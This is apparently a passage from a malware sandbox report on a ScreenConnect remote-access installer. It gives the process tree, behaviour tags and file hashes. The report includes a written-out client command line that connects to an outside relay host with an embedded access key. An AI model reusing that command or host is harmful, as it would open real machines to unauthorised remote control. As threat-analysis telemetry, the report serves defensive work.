PID:4620
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6946024725F8C144514B34BE20779930 E Global\MSI00002⤵
- Drops file in Windows directory
- Loads dropped DLL
PID:2456
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
PID:2680
-
C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=wisescloud.pro&p=8041&s=edbf602d-8e36-4fb8-b759-dde680cb62b4&k=BgIAAACkAABSU0ExAAgAAAEAAQD9KmplZJ81oG%2ba2%2bBWVLmpfohLlvCUXrepeNS1R%2fuw7DqRwObsF0xQH%2bV8%2b2acClFwH8RZp%2fO5JxqkwAxSE7fJ5Wx0EOvlTi3kT0Weq1uP%2fo6y5m59jH9QWbnQ%2b0EljzizFtAC5j%2bW%2by%2fwXuqL2kelsCK6NwWhNWASFFQ0azEtLh3MNB2KGiuvXCu8uRcSESk9%2bLkvf38mkC%2b45xB%2fIqX%2byZVyfl25mreqO5WqPvfUAqo9My%2fZ1jwvnyIyGd4ZHM2A%2b9iuK8YhdqTFk3RnWRRK%2fNqz%2bnceOAgEQ5R6SqwAHJZ%2bHzazt2v60%2feKd%2fMosf73UTGwN3svFojeLQLh%2fV3A"1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsClient.exe" "RunRole" "b30f3282-79d7-4d67-b4b9-f9197d084ff7" "User"2⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
PID:2316
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e57ade4.rbs
- Size 213KB
- SHA256 fcafe5e0c8706b560fe428d0b613f5a452e18de19bebf1d13e4cd19ea64ac844
- MD5 377b3d41fa4ac3ce251572d3a556b09e
- SHA1 469768a8a61a6abba16679085a07344cbc765124
- SHA512 e01172cacc7b8083d83cf3911ba5bf9ceefde78b9dc72fc68576b3b0d646f7ae29d79de5809c8ff97d16d753991809f6aa3616f1f87ecb8e9e374d4ff0b2472e
- SSDEEP 3072:pR9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGi:pRuH2aCGw1ST1wQLdqvi
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\Client.en-US.resources
- Size 47KB
- SHA256 2d88b97d28be01abca4544c6381a4370c1a1ce05142c176742f13b44889ddf90
- MD5 3e83a3aa62c5ff54ed98e27b3fbecf90
- SHA1 96d8927c870a74a478864240b3ace94ad543dfb8
- SHA512 ea9d05a4aa1ee5cccc61c4f5e8994efba9efff0549b69577bef1f2a22cce908739124eff1e0db5cfdd69e077ad2d7cdb1307de92d79673c9309ee621cb139956
- SSDEEP 768:jjhcIEFtl7CWQNzSB3CFLI0pDplrd5UVXWFhj39CwWLVhuK81htvrKetEpGcWITc:jjhcpFt9QNzi3CFLI0Vplrd5UVXWFhjF
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\Client.resources
- Size 26KB
- SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
- MD5 5cd580b22da0c33ec6730b10a6c74932
- SHA1 0b6bded7936178d80841b289769c6ff0c8eead2d
- SHA512 c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787
- SSDEEP 384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.Client.dll
- Size 188KB
- SHA256 17377a52eeae11e8ee01eb629d6a60c10015ad2bb8bc9768e5c8e4b6500a15ed
- MD5 6bc9611d5b6cee698149a18d986547a8
- SHA1 f36ab74e4e502fdaf81e101836b94c91d80cb8ea
- SHA512 3f23670d0ba150de19a805db6beb6eed8538bbad6fbe3cc21d17d738a43cf411c679a23cea11549e69be0321e672f740791d40e92498aef9d1f8650743ee85ea
- SSDEEP 3072:NfVfH24qg0+UkqVk9kkkkkkHEkkkNikkAkkkkkkkkpkkAkKMi7stGzHqcyzdWFDm:H+a0+UkqVk9kkkkkkHEkkkNikkAkkkku
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.ClientService.dll
- Size 60KB
- SHA256 7c5442121dba2a30ab9579ec08e111ded372cf9cf90fb3256f273980b975afa9
- MD5 22af3a23bd30484514cdacf67c5b3810
- SHA1 e92a4eaee9d896964de541ce2f01c2404b638258
- SHA512 95e40b27e90fce7ca85e76afbbc16eb62b4bb977664702b987de2eb2294e6fe9e6df5610ec7b2362c2c68493313f30fbbcbd3446dbe8ae2fa47b89407f5d5936
- SSDEEP 1536:7Sx8zDzYn1DruJCelbgZfBQeV8lsNEbgO:7Sx8z/uNruJv9wQeVXK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.ClientService.exe
- Size 93KB
- SHA256 e9ab064ed381c29a3930f75ca3e05605c6ee07f30a69c043f576a5461de3bafc
- MD5 dc615e9d8ec81cbf2e2452516373e5a0
- SHA1 ec83d37a4f45caeb07b1605324d0315f959452e9
- SHA512 82fe00447fb9785264dfb8032399adf6d33d91d71058212d252742c9e5fd54f5a52f6baf4fb05e95f9a4055057c60a33a7c1c642f18a6a4e045b49be88fa5d9f
- SSDEEP 1536:0g1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkg4T0HMc7Jxc:NhbNDxZGXfdHrX7rAc6myJkg4T0H/A
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.Windows.dll
- Size 1.6MB
- SHA256 998cc3f9af5bd41ccf0f9be86192bbe20cdec08a6ff73c1199e1364195a83e14
- MD5 29454a0cb83f28c24805e9a70e53444a
- SHA1 334202965b07ab69f08b16fed0ee6c7274463556
- SHA512 62790920974a2f1b018d466ae3e3b5100006a3c8013f43bdb04af7074cfe5d992caaeb610de2b1b72ff0e4acf8762db1513a4a0cf331f9a340ae0ce53c3be895
- SSDEEP 24576:ZSjm7Fj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUw:Sm7JkGYYpT0+TFiH7efP
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsClient.exe
- Size 573KB
- SHA256 71602f6b0b27c8b7d8ad624248e6126970939effde785ec913ace19052e9960e
- MD5 5dec65c4047de914c78816b8663e3602
- SHA1 8807695ee8345e37efec43cbc0874277ed9b0a66
- SHA512 27b5dcb5b0aeadf246b91a173d06e5e8d6cf2cd19d86ca358e0a85b84cd9d8f2b26372ef34c3d427f57803d90f2e97cf59692c80c268a71865f08fc0e7ce42d1
- SSDEEP 12288:npu96mzdjnwbrYQySjbs03fG+Yg2PgG7x:CpjpSjq77x
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsClient.exe.config
- Size 266B
- SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
- MD5 728175e20ffbceb46760bb5e1112f38b
- SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
- SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\ScreenConnect.WindowsCredentialProvider.dll
- Size 746KB
- SHA256 62b405f32a43da0c8e8ed14a58ec7b9b4422b154bfd4aed4f9be5de0bc6eb5e8
- MD5 f01a59c5cf7ec437097d414d7c6d59c4
- SHA1 9ea1c3fbf3b5adbe5a23578dea3b511d44e6a2dd
- SHA512 587748ad4dd18677a3b7943eab1c0f8e77fe50a45e17266ba9a0e1363eda0ff1eabcf11884a5d608e23baf86af8f011db745ad06bcdecdfd01c20430745fe4bb
- SSDEEP 12288:OQ+rYYCG4xWh6+/ZCXnZ9GTWGsP9fuApxEF:r+rYYCTMh6IZkkWNBzpGF
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\app.config
- Size 2KB
- SHA256 8e3dc9d06b282a536e1af7806d7f434d5738d4932dae557ccd762bfeed0bfc11
- MD5 095c85acc658f0733bc6941163ec234c
- SHA1 298c53608e02cac620702cb6abe75c70560c03b1
- SHA512 fe3fbe2bcd2baabcf192663dd7603cce1db1025a9d40ad98598d5441d892efc0c94aa41fe61256762538e0ed3bcc3e7958cdbf87c2d577ee3bdd561597635d03
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\ScreenConnect Client (034dfb5118a73fb6)\system.config
- Size 966B
- SHA256 868a93250119f54c4b19174becad548c33ed2a22c906efd99712978c2718558b
- MD5 247a129480dd46be676d0ecc9e8d0fcf
- SHA1 40a4cd5282de50cf3ccf7dda246ba0b214750189
- SHA512 1139b63e919c34f9b9e9d46747e9e7f1edb52726b036959c1e90f2c5d443a65929b3c8f80476f7f4ee2e4007c947343c8798141cd94c590c631f89e7a5501167
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\MSI69A7.tmp
- Size 1017KB
- SHA256 2b35c0e4088b2a7728fa7bc6a5bfdefed7665598de6d49641fdf5d1f1271a4d7
- MD5 8d94c9f4c07b76b4e32daffcc51109da
- SHA1 62e31a89c488d6745abb72a3071f688fd6180d33
- SHA512 0092cbbd95777e6931864d61931efdf3a349f79c575030cad9a1771432f52e1bdc25d5640e2923d202c42c2ce242d00187486334a946e97319d48211233eb0ac
- SSDEEP 24576:4UUGGTFhicvYqWsy0fN7RHK7Ll8koyNkoBXPtH:bGTHtJ17VKH5LpNB
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\MSI69A7.tmp-\Microsoft.Deployment.WindowsInstaller.dll
- Size 172KB
- SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
- MD5 5ef88919012e4a3d8a1e2955dc8c8d81
- SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
- SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
- SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\MSI69A7.tmp-\ScreenConnect.Core.dll
- Size 519KB
- SHA256 761b7e50baa229e8afcd9a50990d7f776ddb5ed1ea5fbb131c802e57cf918742
- MD5 b319407e807be1a49e366f7f8ea7ee2a
- SHA1 b12197a877fb7e33b1cb5ba11b0da5ca706581ba
- SHA512 dc497643790dc608dece9c8fe7264efedd13724bd24c9bf28a60d848b405fddefb8337a60f3f32bb91518910e02c7a2aaf29fc32f86a464dfcafa365526bdb7f
- SSDEEP 6144:ZPpB0+E5A976t5puf9NTh/k4dKRYJUYg7N+earZ5Ghfn55AJ6m/JaXAQKx4kEYYo:dpq+Ezuf9N0RYJZPUI6
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\MSI69A7.tmp-\ScreenConnect.InstallerActions.dll
- Size 21KB
- SHA256 ca9e51d51f24e16428d1b0e9a0829a44da2678bfc7ba00f0b46a57dcd6d734b8
- MD5 b0585159161d50e330b7f8eda50a2770
- SHA1 8636fab3ce6c21a42d3e5fbd495c2ddad4279162
- SHA512 e9ae99bdce64ca4282fa4580d3b081f7d0874c756aef77fb58e10db148e2f670ba48667ce62033c6f514ff825dc54c1bdbae2c7f8d5f9355486402cf75e1d5ad
- SSDEEP 384:JzV20obJRmvKpq/PAofzuua+CoFCU00HtphaU/GeHczrMRbJ1kjv9cU5yYoJRtWo:de8iyAofzuKjHtCsHcMw5yftWWbP
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\034dfb5118a73fb6\setup.msi
- Size 8.9MB
- SHA256 f469443537f8aa15d3abc0e21868e805528488ddae10b3eee113b3736150455e
- MD5 b9c989d5f493f19251b5f6f3cba5c7f1
- SHA1 a8213b37e9d24bb416a8bd01c9eec0a27e8a3606
- SHA512 2e26ae76b897ecf15f08ddb64bdf7d59b262c1b4901ab834b868da655dc147e8a30d4a0ee045d880e4a1f84c5d50ffec8bcc826520c95c56e770ac313038ab06
- SSDEEP 98304:fOPvLtabi4X0MV+dYdcGt7VIb4WOPvLtabi4X0MV+dYddOPvLtabi4X0MV+dYdkS:fws3V+aIws3V++ws3V+fws3V+7ws3V+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\MSIAF5B.tmp
- Size 202KB
- SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
- MD5 ba84dd4e0c1408828ccc1de09f585eda
- SHA1 e8e10065d479f8f591b9885ea8487bc673301298
- SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
- SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
- MD5 SHA1 SHA512 SSDEEP
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 23.7MB
- SHA256 406e48e94482ac8cb33cc39babffd17d1e646bba973b7c57ce3e9927a8a785b2
- MD5 dc83d92d3d6858abe885dec63d09dc36
- SHA1 311ef8e08cb5d738ae3ac9377a30fb2a368296ad
- SHA512 9a5b340bac996c4e0e4791194e67a717c042dc0ac7a9b1cbf6b964c3ef36f866cf51a61c3bf18ed97ea27fd05ae3b885c72286b2f7f0ad1b13855fe7e67ee5b1
- SSDEEP 24576:eSqm41x2doO/vvTL055ue32p6aG57QaKdDZdZCQ2qG6FoKVGYhV2b6Z8e:R
- MD5 SHA1 SHA512 SSDEEP
- Path \??\Volume{2497e243-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{94872d96-903e-4ccf-b27d-a576cbedd3da}_OnDiskSnapshotProp
- Size 6KB
- SHA256 c77be81dc7a033d4c38d06d37e1638039bc61bae0429a97c70cff02a5d501fd8
- MD5 b8389bf92dfa60dc508bc2901452b067
- SHA1 cdd465271edf206bfc0472cc5c140d0325b9ff77
- SHA512 d85dfe4c641ed4daaff4645339fd4240c3c4e72f671e14e356c7d3c958b8a0f0b53cd28e6097f9720a06691e84b85c90439adcc23febce32173558b3e2d3e8c5
- SSDEEP 96:Fv69MBhc4HdDD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpuN:JBb++1VmN
- MD5 SHA1 SHA512 SSDEEP